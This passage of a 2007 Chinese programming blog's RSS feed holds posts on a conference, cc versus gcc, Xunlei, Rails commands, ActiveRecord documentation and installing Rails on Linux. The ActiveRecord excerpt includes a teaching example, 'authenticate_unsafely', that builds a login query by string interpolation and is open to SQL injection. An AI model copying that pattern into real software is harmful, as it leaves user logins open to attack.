    <description><![CDATA[<div>&nbsp;&nbsp;&nbsp;   九华山庄是个不错的地方，想腐败去九华山庄不错！<br>&nbsp;&nbsp;&nbsp;   为了参加这个大会，早上5点就起床了，9点多才到现场。<br><br><strong>1、开场居然是一场京剧，确实有点创新！</strong><br><br><div align="left" forimg="1"><a target="_blank" href="http://hiphotos.baidu.com/songdenggao/pic/item/4ac2ac6eb52076d780cb4a6c.jpg"><img width="321" height="214" border="0"  small="1" src="http://img.blog.163.com/photo/l58yjZ53hGZ6jVcrI0mvGg==/612771024299535817.jpg"></a></div><br><br><strong>2、Andrie Alexandrescu <br></strong>c++天才作家，D语言领袖人物，华尔街咨询师（据说还是摇滚乐高手 ，多才的人呀）<br><div align="left" forimg="1"><a target="_blank" href="http://hiphotos.baidu.com/songdenggao/pic/item/fe46f2de977cab5995ee3773.jpg"><img width="342" height="256" border="0"  small="1" src="http://img.blog.163.com/photo/NGOjPSD1fi4q_Zm6OpDl5A==/568860927932572473.jpg"></a></div><br><strong>3、<span>钱宏武</span></strong><strong> 《大规模互动产品构架与开发 》<br></strong>原搜狐互动产品开发部主管，透露了搜狐的机密呀，不知道会不会被sohu追究<br><div align="left" forimg="1"><img width="500" height="332" border="0"  small="0" src="http://img.blog.163.com/photo/bEJ7_6a0kep2lDmwKsab4g==/5402349228008072194.jpg"></div><br><strong>4、<span>范路</span> Borland中国大陆地区开发工具产品推广专员<br></strong>不愧是搞推广的，听了这个讲座真的好后悔，一直在推广borland的工具。但是有点可贵的的地方就是<br>居然能当场手动写demo，我们公司的推广人员别说写代码，就是用软件都成问题。<br><div align="left" forimg="1"><img border="0"  small="0" src="http://img.blog.163.com/photo/nrtCm1vQwdERevawymgLfA==/568860927932572474.jpg"></div><strong>5、<font size="3">潘加宇 </font><code>UMLChina首席专家<br></code></strong><code>我忍不住要伸出大拇指，果然是牛人呀！性格都不一样，讲东西的方法，做的ppt都很有特点。从业那么多年一直研究UML，从他的讲课中，我都感觉他有点哲人的思想了。<font color="#ff0000"><em><u>软件的需求就是在追求受众利益的平衡</u></em> <font color="#000000">这个就是他的结论，这个结论和中国的《易经》万物都是分为阴阳，万物都在追求平衡的思想是一致的。<br><br></font></font></code><span ><div align="left" forimg="1"><img border="0"  small="0" src="http://img.blog.163.com/photo/M9zlj6KsJVHWbxP5XugHIw==/568860927932572475.jpg"></div><br><strong>6、韩少云，</strong></span><strong>创业&mdash;&mdash;软件从业人员转型的另一条路</strong><br><span >现任</span><span ><em><u>达内科技公司CEO/总裁</u></em><strong> </strong></span><span >，程序员出生的人就是实在，稳打稳扎的感觉。讲的都是自己的发展历程。可以说是程序员学习的榜样。<br><div forimg="1"><img border="0"  small="0" src="http://img.blog.163.com/photo/bPSsZU0hFNB1RtjB1-IUeA==/566327653142177141.jpg"></div><br></span><strong><code><br></code></strong></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/5779016920071113543976</comments>
    <slash:comments>2</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/5779016920071113543976</guid>
    <pubDate>Sat, 1 Dec 2007 15:54:03 +0800</pubDate>
    <dcterms:modified>2007-12-01T15:54:03+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[cc与gcc的区别]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/577901692007102811463977</link>
    <description><![CDATA[<div><p  style="text-indent: 17.95pt;"><font size="3"><span style=" color: black;">从名字上看，老的<span>unix</span>系</span><span style=" color: black;">统</span><span style=" color: black;">的</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">程序叫做<span>C Compiler</span></span><span style=" color: black;">。但</span><strong><span style=" color: black;">GCC</span></strong><span style=" color: black;">这</span><span style=" color: black;">个名字按</span><span style=" color: black;">GNU</span><span style=" color: black;">的</span><span style=" color: black;">说</span><span style=" color: black;">法叫做</span><span style=" color: black;">Gnu Compiler Collection</span><span style=" color: black;">。因</span><span style=" color: black;">为</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">包含很多</span><span style=" color: black;">编译</span><span style=" color: black;">器</span><span style=" color: black;">(C, C++, Objective-C, Ada, Fortran,and </span><span style=" color: black;">　 </span><span style=" color: black;">Java)</span><span style=" color: black;">。所以它</span><span style=" color: black;">们</span><span style=" color: black;">是不一</span><span style=" color: black;">样</span><span style=" color: black;">的，一个是一个古老的</span><span style=" color: black;">C</span><span style=" color: black;">编译</span><span style=" color: black;">器，一个是</span><span style=" color: black;">编译</span><span style=" color: black;">器的</span><span style=" color: black;">Gnu</span><span style=" color: black;">的</span><span style=" color: black;">编译</span><span style=" color: black;">器的集合</span><span style=" color: black;">(<strong>Gcc</strong></span><span style=" color: black;">里的</span><span style=" color: black;">C</span><span style=" color: black;">编译</span><span style=" color: black;">器比</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">强</span><span style=" color: black;">大太多了，所以你没必要用</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">)</span><span style=" color: black;">。当你</span><span style=" color: black;">调</span><span style=" color: black;">用</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">时</span><span style=" color: black;">不一定是</span><span style=" color: black;">调</span><span style=" color: black;">用的</span><span style=" color: black;">C/C++</span><span style=" color: black;">编译</span><span style=" color: black;">器，是</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">根据文件</span><span style=" color: black;">扩</span><span style=" color: black;">展名自</span><span style=" color: black;">动识别</span><span style=" color: black;">并</span><span style=" color: black;">调</span><span style=" color: black;">用</span><span style=" color: black;">对应</span><span style=" color: black;">的</span><span style=" color: black;">编译</span><span style=" color: black;">器，具体可</span><span style=" color: black;">查阅</span><span style=" color: black;">$man   <strong>gcc</strong></span><span style=" color: black;">。</span><span style=" color: black;"></span></font></p><p  style="text-indent: 17.95pt;"><font size="3"><span style=" color: black;">你是下</span><span style=" color: black;">载</span><span style=" color: black;">不到</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">的，原因是：</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">来自于昂</span><span style=" color: black;">贵</span><span style=" color: black;">的</span><span style=" color: black;">Unix</span><span style=" color: black;">系</span><span style=" color: black;">统</span><span style=" color: black;">，</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">是商</span><span style=" color: black;">业软</span><span style=" color: black;">件，要想用你需要打</span><span style=" color: black;">电话</span><span style=" color: black;">，写</span><span style=" color: black;">订单</span><span style=" color: black;">，而不是打</span><span style=" color: black;">开</span><span style=" color: black;">你的</span><span style=" color: black;">Browser</span><span style=" color: black;">去</span><span style=" color: black;">download</span><span style=" color: black;">。</span><span style=" color: black;"></span></font></p><p  style="text-indent: 17.95pt;"><font size="3"><span style=" color: black;">linux</span><span style=" color: black;">下的</span><strong><span style=" color: black;">cc</span></strong><span style=" color: black;">是</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">的符号</span><span style=" color: black;">链</span><span style=" color: black;">接。可以通</span><span style=" color: black;">过</span><span style=" color: black;">$ls &ndash;l /usr/bin/<strong>cc</strong></span><span style=" color: black;">来</span><span style=" color: black;">简单</span><span style=" color: black;">察看</span><span style=" color: black;">.</span><span style=" color: black;">而</span><span style=" color: black;">编译时</span><span style=" color: black;">看到的控制台</span><span style=" color: black;">输</span><span style=" color: black;">出</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">则</span><span style=" color: black;">是一个指向</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">的</span><span style=" color: black;">变</span><span style=" color: black;">量，</span><span style=" color: black;">该变</span><span style=" color: black;">量是</span><span style=" color: black;">make</span><span style=" color: black;">程序的内建</span><span style=" color: black;">变</span><span style=" color: black;">量，就算你在</span><span style=" color: black;">Makefile</span><span style=" color: black;">中没有</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">=   </span><span style=" color: black;">，</span><span style=" color: black;">该变</span><span style=" color: black;">量也会存在，并默</span><span style=" color: black;">认</span><span style=" color: black;">指向</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">。</span><strong><span style=" color: black;">cc</span></strong><span style=" color: black;">的符号</span><span style=" color: black;">链</span><span style=" color: black;">接和</span><span style=" color: black;">变</span><span style=" color: black;">量存在的意</span><span style=" color: black;">义</span><span style=" color: black;">在于源</span><span style=" color: black;">码</span><span style=" color: black;">的移植性，可以方便的用</span><strong><span style=" color: black;">GCC</span></strong><span style=" color: black;">来</span><span style=" color: black;">编译</span><span style=" color: black;">老的用</span><strong><span style=" color: black;">cc</span></strong><span style=" color: black;">编译</span><span style=" color: black;">的</span><span style=" color: black;">unix</span><span style=" color: black;">软</span><span style=" color: black;">件，甚至</span><span style=" color: black;">连</span><span style=" color: black;">Makefile</span><span style=" color: black;">都不要改。而且也便于</span><span style=" color: black;">linux</span><span style=" color: black;">程序在</span><span style=" color: black;">unix</span><span style=" color: black;">下</span><span style=" color: black;">编译</span><span style=" color: black;">。</span><span style=" color: black;"></span></font></p><font size="3"><span style=" color: black;">近几年的一个新情况是越来越多的</span><span style=" color: black;">unix</span><span style=" color: black;">用</span><span style=" color: black;">户</span><span style=" color: black;">，据我所知像</span><span style=" color: black;">solaris,bsd</span><span style=" color: black;">用</span><span style=" color: black;">户</span><span style=" color: black;">也不太使用</span><strong><span style=" color: black;">CC</span></strong><span style=" color: black;">了，人</span><span style=" color: black;">们</span><span style=" color: black;">都一定要装一个</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">，用它来</span><span style=" color: black;">编译</span><span style=" color: black;">C/C++</span><span style=" color: black;">程序。原因</span><span style=" color: black;">显</span><span style=" color: black;">而易</span><span style=" color: black;">见</span><span style=" color: black;">，</span><strong><span style=" color: black;">gcc</span></strong><span style=" color: black;">足</span><span style=" color: black;">够强</span><span style=" color: black;">大，健壮。支持估</span><span style=" color: black;">计</span><span style=" color: black;">目前</span><span style=" color: black;">为</span><span style=" color: black;">止只有它支持的</span><span style=" color: black;">ISO   c/c++   </span><span style=" color: black;">新特性。</span><span style=" color: black;">当然你最好不要使用<span>night</span>版本的<strong><span>gcc</span></strong></span><span style=" color: black;">。</span></font></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/577901692007102811463977</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/577901692007102811463977</guid>
    <pubDate>Wed, 28 Nov 2007 11:46:03 +0800</pubDate>
    <dcterms:modified>2007-11-28T11:46:03+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[迅雷能否成为百亿大亨？（ 转载）]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/57790169200710281193977</link>
    <description><![CDATA[<div> 转载：http://liuhuafang.blog.techweb.com.cn/archives/2007/2007112821557.shtml <br>刚刚和尘尘聊过，她刚从南边过来，声称&ldquo;北京的空气好干燥啊&rdquo;，其实北京不仅空气干燥，马路也浮躁，中关村一直堵的厉害，害的我下了718后，步行走到清 华紫光大厦。到了紫光大厦，看到刘兴亮诉了下堵车之苦，问老刘嘉宾来了没，老刘答道：&ldquo;来了，以迅雷不及掩耳之势来了，你小子快迟到了啊&rdquo;。<div> </div><div>&nbsp;&nbsp;&nbsp;  这是我第一次见到邹胜龙，第一感觉：低调！</div><div>&nbsp;&nbsp;</div><div>&nbsp;&nbsp;&nbsp;  迅雷是下载工具，但绝不简单的只是下载工具。邹胜龙很聪明，他早就预料炳叔能够看懂迅雷，却自己虚心地点着名向炳叔学习，聪明吧！炳叔把迅雷看的很到位， 影音搜索引擎是迅雷的芯！迅雷更重要的是，它也是一个平台--一个技术牛X的服务平台、共享平台，笔者认为，迅雷现在已经具备社区化特征，用户交互性和粘 度都十分高，这是迅雷的社区价值。</div><div> </div><div>&nbsp;&nbsp;  狗狗（gougou）是迅雷的搜索芯，会后邹胜龙在咖啡厅也透露狗狗带来的搜索来源已经占到客观比例，他其实在说迅雷对自己的平台有足够的技术和平台控制力。也许，这也是邹胜龙敢于表示&ldquo;迅雷一旦上市，至少是百亿市值级别&rdquo;的一个牌，这张牌握在自己手里。</div><div> </div><div>&nbsp;&nbsp;  迅雷成百亿大亨，时间不会太久。迅雷的市场占有率和技术优势，都远远优于竞争对手，虽然邹胜龙不愿透露，但事实上迅雷已经很赚钱了，而很多相关企业还处于 烧钱探索阶段。在谈话中，发现邹胜龙是一个很务实、很谨慎的人。对于还在探索中的领域，他有点像柳传志说的&ldquo;撒腿就跑&rdquo;---&ldquo;先看着，等机会快来了，撒 腿就跑，迅雷不及掩耳之势占领&rdquo;。</div><div> </div><div>&nbsp;&nbsp;  迅雷为什么值百亿？ 笔者简单领大家看下：</div><div>&nbsp;&nbsp;&nbsp;</div><div>&nbsp;&nbsp;&nbsp; 下载市场70%-80%的市场份额。这个占有率比百度在搜索引擎市场的占有率还高很多。而邹胜龙透露 搜索引擎流量15%左右的流量来自bar（搜索工具条），这么看就明白谷歌为什么投资迅雷了，合算啊！任何软件的推广都无法忽略迅雷的存在，所以迅雷本身 就有巨大的软件广告价值。</div><div> </div><div>&nbsp;&nbsp;  狗狗的搜索数据很重要。这个地球什么最重要？---信息！迅雷掌握了中国最完备的影视类数据库，影视的流行度、甚至如何网络营销，迅雷的数据都是重要指标。数据库的价值笔者很难估算，当时我还是应该把大学数学系读完再出来啊。</div><div> </div><div>&nbsp;&nbsp;  平台的价值。平台是一个让很多人一起赢得价值的东东，迅雷的平台会给视频行业带来更多的机会和营销渠道。</div><div> </div><div>&nbsp;&nbsp;  可能还有很多，限于篇幅，笔者就不长篇大论了，有兴趣的朋友，咱们当面侃。</div></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/57790169200710281193977</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/57790169200710281193977</guid>
    <pubDate>Wed, 28 Nov 2007 11:09:03 +0800</pubDate>
    <dcterms:modified>2007-11-28T11:09:03+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[Rails 命令大全]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/57790169200710275363977</link>
    <description><![CDATA[<div><font face="Arial">一.铁道<br>1.1 创建一个Rails应用程序<br>$ rails app_name<br>可选项:<br>-d, database=xxx 指定安装一个数据库(mysql oracle postgresql sqlite2 sqlite3 ), 默认情况下是数据库<br>-r, ruby-path= 指定Ruby的安装路径,如果没有指定，scripts使用env去找Ruby <br>-f, freeze (冻结)freezes Rails在vendor/rails目录<br><br>1.2 API Documentation<br>$ gem_server<br>启动一个WEBrick服务器。这时候你可以通过Http://localhost:8808/ 打开浏览器去查看rails API文档<br><br>1.3 Rake<br>rake db:fixtures:load <br>&nbsp;&nbsp;   # 载入fixtures到当前环境的数据库 <br>&nbsp;&nbsp;   # 载入指定的fixtures使用FIXTURES=x,y<br>rake db:migrate <br># 迁移数据库通过在db/migrate目录下的脚本.可以指定版本号通过VERSION=x<br>rake db:schema:dump <br># 创建一个db/schema.rb文件，通过AR能过够支持任何数据库去使用<br>rake db:schema:load <br># 再入一个schema.rb文件进数据库<br>rake db:sessions:clear <br># 清空sessions表<br>rake db:sessions:create <br># 用CGI::Session::ActiveRecordStore创建一个sessions表为用户 <br>rake db:structure:dump <br># 导出数据库结构为一个SQL文件<br>rake db:test:clone <br># 重新创建一个测试数据库从当前环境数据库中<br>rake db:test:clone_structure <br># 重新创建测试数据库从开发模式数据库<br>rake db:test:prepare <br># 准备测试数据库并在入schema<br>rake db:test:purge <br># 清空测试数据库<br>rake doc:app <br># 创建HTML文件的API Documentation<br>rake doc:clobber_app <br># 删除Documentation<br>rake doc:clobber_plugins <br># 删除 plugin Documentation<br>rake doc:clobber_rails <br># 删除Documentation<br>rake doc:plugins <br># 产生Documation为所有安装的plugins<br>rake doc:rails <br># 创建HTML文件的API Documentation<br>rake doc:reapp <br># 强制重新创建HTML文件的API Documentation<br>rake doc:rerails <br># 强制重新创建HTML文件的API Documentation<br>rake log:clear <br># 清空目录log/下的所有日志文件<br>rake rails:freeze:edge <br># Lock this application to latest Edge Rails. Lock a specific revision with REVISION=X<br>rake rails:freeze:gems <br># Lock this application to the current gems (by unpacking them into vendor/rails)<br>rake rails:unfreeze <br># Unlock this application from freeze of gems or edge and return to a fluid use of system gems<br>rake rails:update <br># Update both scripts and public/javascripts from Rails<br>rake rails:update:javascripts <br># Update your javascripts from your current rails install<br>rake rails:update:scripts <br># Add new scripts to the application script/ directory<br>rake stats <br># Report code statistics (KLOCs, etc) from the application<br>rake test <br># Test all units and functionals<br>rake test:functionals<br># Run tests for functionalsdb:test:prepare<br>rake test:integration <br># Run tests for integrationdb:test:prepare<br>rake test:plugins <br># Run tests for pluginsenvironment<br>rake test:recent <br># Run tests for recentdb:test:prepare<br>rake test:uncommitted <br># Run tests for uncommitteddb:test:prepare<br>rake test:units <br># Run tests for unitsdb:test:prepare<br>rake tmp:cache:clear <br># 清空tmp/cache目录下的所有文件<br>rake tmp:clear <br># 清空session, cache, 和socket文件从tmp/目录<br>rake tmp:create <br># 为sessions, cache, and sockets创建tmp/目录<br>rake tmp:sessions:clear <br># 清空所有在tmp/sessions目录下的文件<br>rake tmp:sockets:clear <br># 清空所有在tmp/sessions 目录下的ruby_sess.* 文件<br><br>1.4 Scripts<br>script/about <br># 输出当前环境信息<br>script/breakpointer <br># 启动断点server<br>script/console <br># 启动交换式的Rails控制台<br>script/destroy <br># 删除通过generators创建的文件<br>script/generate <br># -&gt; generators<br>script/plugin <br># -&gt; Plugins<br>script/runner <br># 执行一个任务在rails上下文中<br>script/server <br># 启动开发模式服务器http://localhost:3000<br>//以下几个不知道怎么去使用<br>script/performance/profiler <br>script/performance/benchmarker <br>script/process/reaper<br>script/process/spawner<br><br>1.5 Generators<br>ruby script/generate model ModelName<br>ruby script/generate controller ListController show edit<br>ruby script/generate scaffold ModelName ControllerName<br>ruby script/generate migration AddNewTable<br>ruby script/generate plugin PluginName<br>ruby script/generate mailer Notification lost_password signup<br>ruby script/generate web_service ServiceName api_one api_two<br>ruby script/generate integration_test TestName<br>ruby script/generate session_migration<br>可选项:<br>-p, --pretend Run but do not make any changes.<br>-f, --force Overwrite files that already exist.<br>-s, --skip Skip files that already exist.<br>-q, --quiet Suppress normal output.<br>-t, --backtrace Debugging: show backtrace on errors.<br>-h, --help Show this help message.<br>-c, --svn Modify files with subversion. (Note: svn must be in path) <br><br>1.6 Plugins<br>script/plugin discover <br># discover plugin repositories<br>script/plugin list <br># list all available plugins<br>script/plugin install where <br># install the a&#8364;wherea&#8364;? plugin<br>script/plugin install -x where <br># install where plugin as SVN external<br>script/plugin install http://invisible.ch/projects/plugins/where<br>script/plugin update <br># update installed plugins<br>script/plugin source <br># add a source repository<br>script/plugin unsource <br># removes a source repository<br>script/plugin sources <br># lists source repositories</font></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/57790169200710275363977</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/57790169200710275363977</guid>
    <pubDate>Tue, 27 Nov 2007 17:36:03 +0800</pubDate>
    <dcterms:modified>2007-11-27T17:36:03+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[Class: ActiveRecord::Base]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/57790169200710274583977</link>
    <description><![CDATA[<div><p>参考：<a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html" target="_blank">http://api.rubyonrails.org/classes/ActiveRecord/Base.html</a></p><p> </p><p>Active Record objects don&lsquo;t specify their <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001069">attributes</a> directly, but rather infer them from the table definition with which they&lsquo;re linked. Adding, removing, and changing <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001069">attributes</a> and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.</p><p>See the mapping rules in <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001022">table_name</a> and the full example in <a href="http://api.rubyonrails.org/files/README.html">files/README.html</a> for more insight.</p><h2>Creation</h2><p>Active Records accept constructor parameters either in a <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001077">hash</a> or as a block. The <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001077">hash</a> method is especially useful when you&lsquo;re receiving the data from somewhere else, like a HTTP request. It works like this:</p><pre>user = User.new(:name =&gt; &quot;David&quot;, :occupation =&gt; &quot;Code Artist&quot;)<br>  user.name # =&gt; &quot;David&quot;</pre><p>You can also use block initialization:</p><pre>user = User.new do |u|<br>    u.name = &quot;David&quot;<br>    u.occupation = &quot;Code Artist&quot;<br>  end</pre><p>And of course you can just <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001008">create</a> a bare object and specify the <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001069">attributes</a> after the fact:</p><pre>user = User.new<br>  user.name = &quot;David&quot;<br>  user.occupation = &quot;Code Artist&quot;</pre><h2>Conditions</h2><p>Conditions can either be specified as a string, array, or <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001077">hash</a> representing the WHERE-part of an SQL statement. The array form is to be used when the condition input is tainted and requires sanitization. The string form can be used for statements that don&lsquo;t involve tainted data. The <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001077">hash</a> form works much like the array form, except only equality and range is possible. Examples:</p><pre>class User &lt; ActiveRecord::Base<br>    def self.authenticate_unsafely(user_name, password)<br>      find(:first, :conditions =&gt; &quot;user_name = '#{user_name}' AND password = '#{password}'&quot;)<br>    end<br><br>    def self.authenticate_safely(user_name, password)<br>      find(:first, :conditions =&gt; [ &quot;user_name = ? AND password = ?&quot;, user_name, password ])<br>    end<br><br>    def self.authenticate_safely_simply(user_name, password)<br>      find(:first, :conditions =&gt; { :user_name =&gt; user_name, :password =&gt; password })<br>    end<br>  end</pre><p>The <tt>authenticate_unsafely</tt> method inserts the parameters directly into the query and is thus susceptible to SQL-injection attacks if the <tt>user_name</tt> and <tt>password</tt> parameters come directly from a HTTP request. The <tt>authenticate_safely</tt> and <tt>authenticate_safely_simply</tt> both will sanitize the <tt>user_name</tt> and <tt>password</tt> before inserting them in the query, which will ensure that an attacker can&lsquo;t escape the query and fake the login (or worse).</p><p>When using multiple parameters in the conditions, it can easily become hard to read exactly what the fourth or fifth question mark is supposed to represent. In those cases, you can resort to named bind variables instead. That&lsquo;s done by replacing the question marks with symbols and supplying a <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001077">hash</a> with values for the matching symbol keys:</p><pre>Company.find(:first, [<br>    &quot;id = :id AND name = :name AND division = :division AND created_at &gt; :accounting_date&quot;,<br>    { :id =&gt; 3, :name =&gt; &quot;37signals&quot;, :division =&gt; &quot;First&quot;, :accounting_date =&gt; '2005-01-01' }<br>  ])</pre><p>Similarly, a simple <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001077">hash</a> without a statement will generate conditions based on equality with the SQL AND operator. For instance:</p><pre>Student.find(:all, :conditions =&gt; { :first_name =&gt; &quot;Harvey&quot;, :status =&gt; 1 })<br>  Student.find(:all, :conditions =&gt; params[:student])</pre><p>A range may be used in the <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001077">hash</a> to use the SQL BETWEEN operator:</p><pre>Student.find(:all, :conditions =&gt; { :grade =&gt; 9..12 })</pre><h2>Overwriting default accessors</h2><p>All column values are automatically available through basic accessors on the Active Record object, but some times you want to specialize this behavior. This can be done by either by overwriting the default accessors (using the same name as the attribute) calling read_attribute(attr_name) and write_attribute(attr_name, value) to actually change things. Example:</p><pre>class Song &lt; ActiveRecord::Base<br>    # Uses an integer of seconds to hold the length of the song<br><br>    def length=(minutes)<br>      write_attribute(:length, minutes * 60)<br>    end<br><br>    def length<br>      read_attribute(:length) / 60<br>    end<br>  end</pre><p>You can alternatively use self[:attribute]=(value) and self[:attribute] instead of write_attribute(:attribute, vaule) and read_attribute(:attribute) as a shorter form.</p></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/57790169200710274583977</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/57790169200710274583977</guid>
    <pubDate>Tue, 27 Nov 2007 16:58:03 +0800</pubDate>
    <dcterms:modified>2007-11-27T16:58:03+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[在Linux平台上安装和配置Ruby on Rails详解]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/5779016920071027114235718</link>
    <description><![CDATA[<div><div>ruby on rails推荐的生产运行环境是Linux/FreeBSD/Unix，即Unix系列的操作系统，采用lighttpd＋FCGI的解决方案。以下我将 以Linux操作系统，lighttpd＋FCGI，MySQL数据库为例，从源代码编译安装开始讲解。</div><div> </div><div>在安装之前，应该确认Linux操作系统已经安装好gcc编译器，否则请用Linux安装光盘先行安装gcc编译器：</div><div><font>gcc &ndash;v </font></div><div>如能返回gcc版本号，则gcc正确安装。</div><div> </div><div><strong><span>一、安装</span></strong><strong><span>Ruby</span></strong><strong><span>解析器</span></strong></div><div> </div><div>一些Linux发行版本，MacOSX操作系统都自带Ruby解析器，但是我仍然建议自行下载ruby源代码编译安装。因为一方面可以自己定制ruby安装的路径，另一方面可以在编译过程中自行添加更多的特性。</div><div> </div><div>ruby的源代码可以从Ruby官方网站下载：</div><div><a href="http://www.ruby-lang.org/en/downloads/">http://www.ruby-lang.org/en/downloads/</a></div><div> </div><div>下载源代码包到本地Linux主机，然后解压缩，进入该目录，进行配置，编译和安装：</div><div><font>tar xzvf ruby-1.8.5.tar.gz</font></div><div><font>cd ruby-1.8.5</font></div><div><font>./configure &ndash;prefix=/usr/local/ruby</font></div><div><font>make &amp;&amp; make install</font></div><div>如果想浏览所有的configure参数，可以：</div><div><font>./configure &ndash;help |more</font></div><div>如果不定制安装的目录，默认将安装到/usr/local目录下面。然而我建议自行定制一个ruby的安装目录，例如/usr/local/ruby，这样便于以后的升级，不会和操作系统其他软件混在一起。</div><div> </div><div>安装好以后，修改操作系统PATH路径，加入/usr/local/ruby/bin：</div><div><font>export PATH=/usr/local/ruby/bin:$PATH</font></div><div>将我们自己安装的ruby放在系统PATH前面，避免操作系统自带的ruby造成的干扰。在Linux上，一般将设置放在/etc/profile中，便于对全局生效。</div><div> </div><div><strong><span>二、安装</span></strong><strong><span>ruby on rails</span></strong></div><div> </div><div>在安装rails之前，要先安装rubygems。rubygems是ruby的在线包管理工具，可以从rubyforge下载rubygems：</div><div><a href="http://rubyforge.org/projects/rubygems/">http://rubyforge.org/projects/rubygems/</a></div><div>下载好源代码包，解压缩，安装：</div><div><font>tar xzvf rubygems-0.9.0.tgz</font></div><div><font>cd rubygems-0.9.0/</font></div><div><font>ruby setup.rb</font></div><div> </div><div>然后就可以安装rails了，在确认服务器已经连接互联网的情况下执行：</div><div><font>gem install rails &ndash;y</font></div><div>即通过gem从rubyforge网站下载rails所有依赖包安装。</div><div> </div><div>安装好rails以后，可以执行：</div><div><font>rails &ndash;v </font></div><div>确认一下rails的版本。</div><div> </div><div> </div><div><strong><span>三、安装</span></strong><strong><span>ruby</span></strong><strong><span>的数据库适配器</span></strong></div><div> </div><div>rails发行包中已经自带纯ruby的MySQL数据库适配器，然而对于生产环境来说，我们仍然应该下载安装C版本的数据库适配器，以达到更好的性能。下载mysql-ruby-2.7.3.tar.gz：</div><div><a href="http://www.tmtm.org/en/mysql/ruby/">http://www.tmtm.org/en/mysql/ruby/</a></div><div><font>tar xzvf mysql-ruby-2.7.3.tar.gz</font></div><div><font>cd mysql-ruby-2.7.3</font></div><div><font>ruby extconf.rb --with-mysql-dir=/opt/mysql5 </font></div><div><font>make &amp;&amp; make install</font></div><div>注意--with-mysql-dir应该指向MySQL数据库的安装路径，如果数据库服务器和Web服务器不在同一台机器上，那么Web服务器上也必须安装MySQL软件，因为ruby的C版本MySQL适配器需要在编译的时候联接MySQL的系统库。</div><div> </div><div><div> </div></div><div><strong><span>四、安装</span></strong><strong><span>Ruby</span></strong><strong><span>的</span></strong><strong><span>FCGI</span></strong><strong><span>支持</span></strong></div><div> </div><div>由于ruby的fcgi支持库需要在编译的时候联接FCGI的系统库，因此我们需要先安装FCGI库，下载FCGI源代码发行包：</div><div><a href="http://www.fastcgi.com/dist/">http://www.fastcgi.com/dist/</a></div><div><font>tar xzvf fcgi-2.4.0.tar.gz</font></div><div><font>cd fcgi-2.4.0</font></div><div><font>./configure --prefix=/usr/local/fcgi</font></div><div><font>make &amp;&amp; make install</font></div><div>同样，将fcgi安装在自己指定的目录下，而不是默认的/usr/local，避免多个软件混在一起。</div><div> </div><div>然后就可以安装ruby的fcgi支持库了，下载ruby-fcgi-0.8.7.tar.gz：</div><div><a href="http://rubyforge.org/projects/fcgi/">http://rubyforge.org/projects/fcgi/</a></div><div><font>tar xzvf ruby-fcgi-0.8.7.tar.gz</font></div><div><font>cd ruby-fcgi-0.8.7</font></div><div><font>ruby install.rb config -- --with-fcgi-include=/usr/local/fcgi/include --with-fcgi-lib=/usr/local/fcgi/lib </font></div><div><font>ruby install.rb setup</font></div><div><font>ruby install.rb install</font></div><div> </div><div><strong><span>五、安装</span></strong><strong><span>lighttpd Web Server</span></strong></div><div> </div><div><strong><span>安装</span></strong><strong><span>Lighttpd</span></strong></div><div> </div><div>在安装lighttpd之前，应该确认操作系统已经安装pcre，即Perl兼容的规则表达式库：</div><div><font>rpm &ndash;qa |grep 